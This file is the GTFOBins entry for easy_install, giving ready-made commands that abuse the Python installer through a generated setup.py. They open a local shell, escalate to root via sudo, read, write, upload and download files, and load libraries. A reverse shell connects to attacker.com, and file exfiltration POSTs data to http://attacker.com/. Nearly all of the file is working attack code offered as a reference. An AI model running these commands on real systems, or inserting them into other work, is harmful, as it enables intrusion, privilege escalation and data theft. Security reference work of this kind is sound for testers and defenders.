GTFOBins.github.io/_gtfobins/easy_install.md

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---
functions:
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shell:
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- code: |
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
easy_install $TF
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reverse-shell:
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- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
export RPORT=12345
TF=$(mktemp -d)
echo 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")' > $TF/setup.py
easy_install $TF
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file-upload:
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- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
code: |
export URL=http://attacker.com/
export LFILE=file_to_send
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' > $TF/setup.py
easy_install $TF
- description: Serve files in the local folder running an HTTP server.
code: |
export LPORT=8888
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
easy_install $TF
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file-download:
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- description: Fetch a remote file via HTTP GET request. The file path must be absolute.
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code: |
export URL=http://attacker.com/file_to_get
export LFILE=/tmp/file_to_save
TF=$(mktemp -d)
echo "import os;
os.execl('$(whereis python)', '$(whereis python)', '-c', \"\"\"import sys;
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve('$URL', '$LFILE')\"\"\")" > $TF/setup.py
pip install $TF
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file-write:
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- description: The file path must be absolute.
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code: |
export LFILE=/tmp/file_to_save
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TF=$(mktemp -d)
echo "import os;
os.execl('$(whereis python)', 'python', '-c', 'open(\"$LFILE\",\"w+\").write(\"DATA\")')" > $TF/setup.py
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easy_install $TF
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file-read:
- description: The read file content is wrapped within program messages.
code: |
TF=$(mktemp -d)
echo 'print(open("file_to_read").read())' > $TF/setup.py
easy_install $TF
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library-load:
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- code: |
TF=$(mktemp -d)
echo 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' > $TF/setup.py
easy_install $TF
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sudo:
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- code: |
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF
---